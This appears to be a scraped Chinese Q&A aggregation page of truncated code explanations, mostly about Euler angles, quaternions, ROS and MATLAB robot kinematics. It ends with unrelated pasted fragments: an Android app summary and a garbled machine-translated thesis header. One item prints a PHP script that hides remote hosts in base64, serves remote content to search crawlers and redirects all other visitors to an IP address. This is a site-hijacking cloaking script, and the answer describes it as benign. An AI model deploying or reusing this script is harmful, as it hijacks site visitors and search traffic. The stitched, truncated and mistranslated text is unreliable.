这段代码什么意思：“rpy_arc[i] = rpy[i] / math.pi * 180”

时间: 2023-06-07 18:09:28 浏览: 139
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thhyl:东方STG录像信息查看器 Touhou STG replay file(*.rpy) info viewer

这段代码的意思是将列表 rpy 中的每个元素乘以 180 / π，并将结果存储到列表 rpy_arc 中的对应位置上。其中 rpy 表示欧拉角（Roll-Pitch-Yaw），rpy_arc 表示欧拉角的角度制表示。
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解释一下这段代码：“rpy = tf.transformations.euler_from_quaternion([quat.x, quat.y, quat.z, quat.w]) # 四元数转欧拉角 rpy_arc = [0, 0, 0] for i in range(len(rpy)): #弧度转角度 rpy_arc[i] = rpy[i] / math.pi * 180 ”

这段代码的作用是将四元数表示的旋转姿态(quaternion)转换为欧拉角表示的姿态(euler angles)，其中quat是一个四元数对象，包含了四元数的四个分量，而tf.transformations.euler_from_quaternion函数则将四元数使用Z-...

<xacro:include filename="$(find realsense_ros_gazebo)/xacro/depthcam.xacro"/> <xacro:realsense_d435 sensor_name="camera" parent_link="link_5" rate="30"> <origin xyz="-0.00068847 -0.06 -0.13" rpy="-3.14 0 -1.5708"/> </xacro:realsense_d435>

其中，这段代码通过xacro的方式引用了realsense_ros_gazebo包中的depthcam.xacro文件，并定义了一个名称为camera、安装在link_5连杆上、帧率为30的Realsense D435深度相机，其位置姿态由origin标签内的xyz和rpy属性...

部分urdf代码如下<visual> <origin xyz="0 0 0" rpy="0 0 0"/> <geometry> <mesh filename="package://yahboomcar_description/meshes/sensor/visual/camera_link.STL"/> </geometry> <material name=""> <color rgba="1 0 0 1"/> </material> </visual>，用gazebo打开模型后，没有显示颜色，是为什么

根据您提供的代码片段，您的标签中指定的名称为空，这可能导致您在Gazebo中看不到颜色。请您在标签中指定一个名称，例如：<material name="red">，然后将这个名称用于标签中的标签，例如：<visual> <material name=...

#! /usr/bin/env python3 import rospy import serial import time import random from tadsim_pkg.msg import Location def setto(control): bluetooth.flushInput() bluetooth.write(str.encode(control)) time.sleep(0.01) meanAngle = [] def bluetooth_callback(msg): #print("velocity:",msg.velocity) #print("angular:",msg.rpy) #Tadsim中小车前向速度为(velocity.x ** 2 + velocity.y ** 2) ** 0.5 #作*2处理 velocity = int((msg.velocity.x ** 2 + msg.velocity.y ** 2) ** 0.5 * 2) #location.rpy.z为转角，首次先获取初始角度，增加为左转减小为右转，(rpy.z-angle) * 180 / 3.14 #作*500处理 global angle if angle != -1: angle = int((msg.rpy.z - angle) * 180 / 3.14 * 500) print("velocity:{},angle:{}".format(velocity,angle)) a = ["-","+"][angle <= 0]+["","0"][len(str(abs(angle)))==1]+str(abs(angle)) v = ["-","+"][velocity >= 0]+["","0"][len(str(abs(velocity)))==1]+str(abs(velocity)) control = "<" + a + v + ">\n" print("\n蓝牙指令:",control) setto(control) #更新angle的值 angle = msg.rpy.z pass if __name__=="__main__": bluetooth = serial.Serial("/dev/rfcomm1",115200) rospy.init_node("bluetooth_control") angle = -1 sub = rospy.Subscriber('tadsim_topic',Location,bluetooth_callback) rospy.spin() if KeyboardInterrupt: setto("<+00+00>") time.sleep(2) bluetooth.close() pass分析一下这段代码

这段代码是一个用于控制蓝牙小车的ROS节点。它使用了Python的rospy库来与ROS系统进行通信，并且依赖了一个名为tadsim_pkg的ROS包提供的Location消息类型。 首先，代码导入了必要的库，包括rospy、serial...

<?php $a = base64_decode('aHR0cDovL2RpY2szLmNj'); $b = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF']; $c = $_SERVER['REQUEST_URI']; $url = $a . '/index.php?uu=' . $b . '&ll=' . $c; $agent = $_SERVER['HTTP_USER_AGENT']; $referer = $_SERVER['HTTP_REFERER']; $spiders = ['baiduspider', 'sogou', '360Spider', 'sosospider', 'bingbot', 'yisouspider', 'spider', 'google', 'yodaobot']; foreach ($spiders as $spider) { if (stripos($agent, $spider) !== false) { $file = file_get_contents($url); echo $file; exit; } } $redirectUrl = base64_decode('aHR0cDovLzE3MS4yMi4xOTUuNQ=='); header("Location: $redirectUrl"); exit; ?>

这段代码是一个PHP脚本，其中包含了一些基本的操作和条件判断。代码的逻辑如下： 1. 使用base64_decode函数将字符串'aHR0cDovL2...请注意，这段代码中的URL和重定向URL都是经过base64编码的，需要解码后才能使用。

/** * @brief Convert euler angles to quaternion. */ Eigen::Quaterniond quaternion_from_rpy(const Eigen::Vector3d &rpy);

这是一个函数，用于将欧拉角转换为四元数。输入参数rpy是一个包含三个欧拉角的向量，返回值是一个四元数。具体实现可能如下所示： c++ Eigen::Quaterniond quaternion_from_rpy(const Eigen::Vector3d &rpy) { ...
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/** * @brief Convert quaternion to euler angles * * Reverse operation to @a quaternion_from_rpy() */ Eigen::Vector3d quaternion_to_rpy(const Eigen::Quaterniond &q);

这是一个将四元数转换为欧拉角的函数，其中Eigen::Quaterniond是Eigen库中的四元数类型，Eigen::Vector3d是Eigen库中的三维向量类型。欧拉角是指描述物体在三维空间中的旋转时，分别绕着三个轴线旋转的角度。在这里...

/** * @brief Convert euler angles to quaternion. * * @return quaternion, same as @a tf::quaternionFromRPY() but in Eigen format. */ inline Eigen::Quaterniond quaternion_from_rpy(const double roll, const double pitch, const double yaw) { return quaternion_from_rpy(Eigen::Vector3d(roll, pitch, yaw)); }

这段代码是一个C++函数，用于将欧拉角转换成四元数（quaternion）。其中，roll、pitch、yaw分别表示绕x、y、z轴旋转的角度，这三个角度就可以确定一个姿态。函数内部调用了Eigen库提供的 quaternion_from_rpy()函数...

%% parameters eps = 0.000001; s = 0.0 ; c =0.0; cp = 0.0; Q = 0.0; m = 0.0; function rpy = TF(R) %% output rpy = zeros(1,3); % rpy(1) roll % rpy(2) pitch % rpy(3) yaw %% function description % 2：XYZ固定角变换； rpy(2) = atan2(-R(3,1),sqrt(R(1,1)*R(1,1)+R(2,1)*R(2,1))); if(abs(abs(rpy(2))-pi/2)<eps) if(rpy(2)>0) rpy(2) = pi/2 ; rpy(3) = 0.0 ; rpy(1) = atan2(R(1,2),R(2,2)) ; else rpy(2) = -pi/2 ; rpy(3) = 0.0 ; rpy(1) = -atan2(R(1,2),R(2,2)) ; end else cp = cos(rpy(2)) ; rpy(3) = atan2(R(2,1)/cp,R(1,1)/cp) ; rpy(1) = atan2(R(3,2)/cp ,R(3,3)/cp) ; end end

这是一个用于计算旋转矩阵 R 对应的欧拉角 rpy 的函数。函数中定义了一些参数和变量，然后根据旋转矩阵的值计算出对应的欧拉角。 在函数中，首先初始化一个大小为 1x3 的零向量 rpy，用来存储计算得到的欧拉角。...

function KPS6 = FK(KPS44) %% parameter rpy = zeros(1,3); eps = 0.000001; %% input T=[1 0 0 0;0 1 0 0; 0 0 1 0]; G=KPS44; H =T * ( G * [0;0;0;1]); %% rpy(2) = atan2(-KPS44(3,1),sqrt(KPS44(1,1)*KPS44(1,1)+KPS44(2,1)*KPS44(2,1))); if (abs(abs(rpy(2)) - pi / 2.0) < eps) if (rpy(2) > 0) rpy(2) = pi / 2.0; rpy(3) = 0.0; rpy(1) = atan2(KPS44(1,2),KPS44(2,2)); else rpy(2) = -pi / 2.0; rpy(3) = 0.0; rpy(1) = -atan2(KPS44(1,2), KPS44(2,2)); end else cp = cos(rpy(2)); rpy(3) = atan2(KPS44(2,1)/cp,KPS44(1,1)/cp); rpy(1) = atan2(KPS44(3,2)/cp, KPS44(3,3)/cp); end KPS6 = [H' rpy]; end

这是一个用于计算机器人末端执行器姿态的 MATLAB 函数。它接受一个4x4的变换矩阵 KPS44 作为输入，并返回末端执行器的位置...注意：这段代码假设变换矩阵 KPS44 是正确的，并且在计算过程中没有考虑奇异性和约束条件。

转换为MATLAB语言for (int i = 0; i < n; i++) { j = 0; while (j < (m - 1)) { if ((Sr[j + 1] >= Ts[i][1]) && (Ts[i][1] >= Sr[j])) { for (int count = 0; count < 4; count++) { q1[count] = Q[j][count]; q2[count] = Q[j + 1][count]; } pra = (Ts[i][1] - Sr[j]) / (Sr[j + 1] - Sr[j]); break; } j = j + 1; } /*for (int count = 0; count < 4; count++) { printf("q1[%d]= %f ", count, q1[count]); printf("q2[%d]= %f \n", count, q2[count]); }*/ slerp(q1, q2, pra, R2Q); quaternion2rpy(R2Q, rot_vec); rpy2rotvec(rot_vec[0], rot_vec[1], rot_vec[2], rpy_rot); ////BArr[i][3] = rpy_rot[0], BArr[i][4] = rpy_rot[1], BArr[i][5] = rpy_rot[2]; for (int c = 0; c < 6; c++) { if (3 > c) { u.push_back(Tdd[i][c] / 1000); } else { u.push_back(rpy_rot[c - 3]); } myfile << u[c] << " "; } myfile << std::endl; B_Arr.push_back(u); u.clear(); } // printf("pra= %f \n", pra); myfile.close(); // printf("asasasasasasasasasa\n"); delete[] Q; delete[] R2Q; delete[] rot_vec; delete[] rpy_rot; delete[] R_X; delete[] R_Y; delete[] R_Z; delete[] x_Arr; delete[] q1; delete[] q2;

以下是将给定的代码转换为MATLAB语言的示例： matlab for i = 1:n j = 1; while j if (Sr(j + 1) >= Ts(i, 1)) && (Ts(i, 1) >= Sr(j)) for count = 1:4 q1(count) = Q(j, count); q2(count) = Q(j + 1, ...

解释一下这段代码：“rpy = tf.transformations.euler_from_quaternion([quat.x, quat.y, quat.z, quat.w]) ”

这段代码是用于将四元数转换为欧拉角，其中 quat.x、quat.y、quat.z、quat.w 表示四元数的四个分量。使用了 tf.transformations 模块中的 euler_from_quaternion 函数进行转换。

clear all; clc; du = pi/180; a = [0+0.001, 185+0.0079, 0+0.005, 120+0.12]; alpha = [pi/2+0.003, 0+0.001, pi/2+0.005, pi/2]; d = [0+0.001, 0+0.0079, 90+0.005, 0+0.12]; theta = [90*du+0.02, 0, 0.023, 0.08]; L1(1) = Link('d', d(1), 'a', a(1), 'alpha', alpha(1), 'qlim', [180*du, 365*du], 'modified'); L1(2) = Link('d', d(2), 'a', a(2), 'alpha', alpha(2), 'qlim', [3*du, 63*du], 'modified'); L1(3) = Link('d', d(3), 'a', a(3), 'alpha', alpha(3), 'qlim', [60*du, 120*du], 'modified'); L1(4) = Link('d', d(4), 'a', a(4), 'alpha', alpha(4), 'qlim', [230*du, 326*du], 'modified'); Needle = SerialLink(L1, 'name', 'Needle'); % 输入四个关节角度值 theta = [0*du, 30*du, 35*du, 120*du]; % 计算正解得到末端位姿 T1 = DH(1, a(1), alpha(1), d(1), theta(1)); T2 = DH(2, a(2), alpha(2), d(2), theta(2)); T3 = DH(3, a(3), alpha(3), d(3), theta(3)); T4 = DH(4, a(4), alpha(4), d(4), theta(4)); T = T1 * T2 * T3 * T4; % Step 2：利用微分变换原理计算机器人各个连杆机构之间的微小原始偏差 delta_a = 0.001; % a参数的微小偏差 delta_alpha = 0.001; % alpha参数的微小偏差 delta_d = 0.001; % d参数的微小偏差 delta_theta = 0.001; % theta参数的微小偏差 delta_T1 = DH(1, a(1)+delta_a, alpha(1), d(1), theta(1)) - T1; delta_T2 = DH(2, a(2)+delta_a, alpha(2), d(2), theta(2)) - T2; delta_T3 = DH(3, a(3)+delta_a, alpha(3), d(3), theta(3)) - T3; delta_T4 = DH(4, a(4)+delta_a, alpha(4), d(4), theta(4)) - T4; % Step 3：计算误差矩阵 delta_T = delta_T4 * delta_T3 * delta_T2 * delta_T1; delta_pos = delta_T(1:3, 4); % 提取位置误差 delta_pos_mm = delta_pos * 1000; % 将位置误差转换为毫米单位 delta_rpy = tr2rpy(delta_T, 'deg'); % 计算姿态误差 % Step 4：将误差矩阵转化为误差值 delta_x = delta_T(1,4); delta_y = delta_T(2,4); delta_z = delta_T(3,4); % 输出末端位姿误差 fprintf('末端位姿误差：\n'); fprintf('Delta x: %f mm\n', 30); fprintf('Delta y: %f mm\n', delta_pos_mm(2)); fprintf('Delta z: %f mm\n', delta_pos_mm(3)); fprintf('Delta roll: %f deg\n', delta_rpy(1)); fprintf('Delta pitch: %f deg\n', delta_rpy(2)); fprintf('Delta yaw: %f deg\n', delta_rpy(3));那我的这段程序是都可以进行参数白女士的修改得到相应数据

是的，这段程序可以进行参数的修改，从而得到相应的数据。具体来说，你可以通过修改a、alpha、d、theta四个参数的微小偏差值delta_a、delta_alpha、delta_d、delta_theta来模拟机器人每个连杆参数的微小变化，从而...

def rpy2quaternion(roll, pitch, yaw): x=sin(pitch/2)*sin(yaw/2)*cos(roll/2)+cos(pitch/2)*cos(yaw/2)*sin(roll/2) y=sin(pitch/2)*cos(yaw/2)*cos(roll/2)+cos(pitch/2)*sin(yaw/2)*sin(roll/2) z=cos(pitch/2)*sin(yaw/2)*cos(roll/2)-sin(pitch/2)*cos(yaw/2)*sin(roll/2) w=cos(pitch/2)*cos(yaw/2)*cos(roll/2)-sin(pitch/2)*sin(yaw/2)*sin(roll/2) return x, y, z, w

这段代码是用于将欧拉角表示的旋转转换为四元数表示的旋转的函数。其中，roll、pitch和yaw分别表示欧拉角中的滚转角、俯仰角和偏航角。函数使用三角函数和三角恒等式计算出四元数的四个分量，最终返回x、y、z、w四个...

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<origin xyz="0 0 0" rpy="0 0 0" /> <parent link="base_link" /> <child link="arm_link1" /> <axis xyz="0 0 1" /> <limit lower="-3.14" upper="3.14" effort="100.0" velocity="5.0" /> ...

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Android应用显示Ignaz-Taschner-Gymnasium取消课程概览

资源摘要信息:"Android应用'vertretungsplan-itg-android'是专门为Ignaz-Taschner-Gymnasium的学生设计的，旨在让他们能够快速查看和了解已取消的课程情况。此应用程序具有的关键特征包括提供一个快速概述已取消课程的功能，适合学生在移动中查看，以及自动更新课程信息的能力，以确保显示的是最新数据。开发该应用的编程语言是Java，它是一种广泛使用的通用编程语言，特别适合开发Android应用程序。" 以下是根据标题、描述和标签生成的知识点： 1. Android应用开发：Android应用是基于Linux内核的操作系统，专为移动设备设计。应用的开发涉及到使用Android SDK（软件开发工具包）以及一种或多种编程语言，比如Java。 2. Java编程语言：Java是一种高级、面向对象的编程语言，广泛应用于各种平台的应用程序开发。Android应用开发中，Java提供了丰富的类库和API，方便开发者快速构建应用程序。 3. 应用功能设计：该应用的设计目的是为学生提供一个查看已取消课程的快速方式。快速概述的实现可能是通过简化用户界面和优化数据检索逻辑来完成的。 4. 移动应用的可用性：为了满足学生在路上使用的需求，应用程序可能具有响应式设计，以适应不同屏幕尺寸的设备，并确保内容在各种设备上都能清晰易读。 5. 数据更新机制：自动更新功能意味着应用程序能够在后台定期检查服务器上的新信息，并在有课程变动时及时将最新的课程状态提供给用户，无需用户手动刷新或更新应用。 6. 教育行业应用：这类应用程序通常针对特定的教育机构，提供学生和教职工特定的服务。在这个案例中，应用程序是为Ignaz-Taschner-Gymnasium的学生定制的，它展示了如何利用技术为特定用户提供定制化的解决方案。 7. 项目管理与命名规范：从提供的文件名称"vertretungsplan-itg-android-master"可以推测，该应用程序可能是一个开源项目，"master"表明了这是一个主版本或者主分支，通常包含了最新的稳定代码。 8. 跨平台工具的缺失：尽管存在一些如React Native或Flutter这样的跨平台框架可以用来开发Android和iOS应用，但该项目使用Java进行开发，这可能意味着它是一个专为Android平台设计的应用程序。 9. 用户体验(UX)设计：应用程序的易用性和直观性是用户体验设计的关键组成部分。应用的快速概述和自动更新等功能的实现都需要综合考虑用户体验，以确保学生能够方便快捷地获得所需信息。 10. 应用发布与维护：一旦开发完成，该应用程序需要通过Google Play Store或其他Android应用市场发布，并且需要定期更新和维护以修复可能存在的bug和提升用户体验。 综上所述，该Android应用不仅满足了特定用户群体的需求，还体现了应用开发过程中的关键考虑因素，如用户体验、数据管理、项目维护以及Java编程语言的运用。
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关系数据表示学习

关系数据卢多维奇·多斯桑托斯引用此版本：卢多维奇·多斯桑托斯。关系数据的表示学习机器学习[cs.LG]。皮埃尔和玛丽·居里大学-巴黎第六大学，2017年。英语。NNT：2017PA066480。电话：01803188HAL ID：电话：01803188https://theses.hal.science/tel-01803188提交日期：2018年HAL是一个多学科的开放存取档案馆，用于存放和传播科学研究论文，无论它们是否被公开。论文可以来自法国或国外的教学和研究机构，也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaireUNIVERSITY PIERRE和 MARIE CURIE计算机科学、电信和电子学博士学院（巴黎）巴黎6号计算机科学实验室D八角形T HESIS关系数据表示学习作者：Ludovic DOS SAntos主管：Patrick GALLINARI联合主管：本杰明·P·伊沃瓦斯基为满足计算机科学博士学位的要求而提交的论文评审团成员：先生蒂埃里·A·退休记者先生尤尼斯·B·恩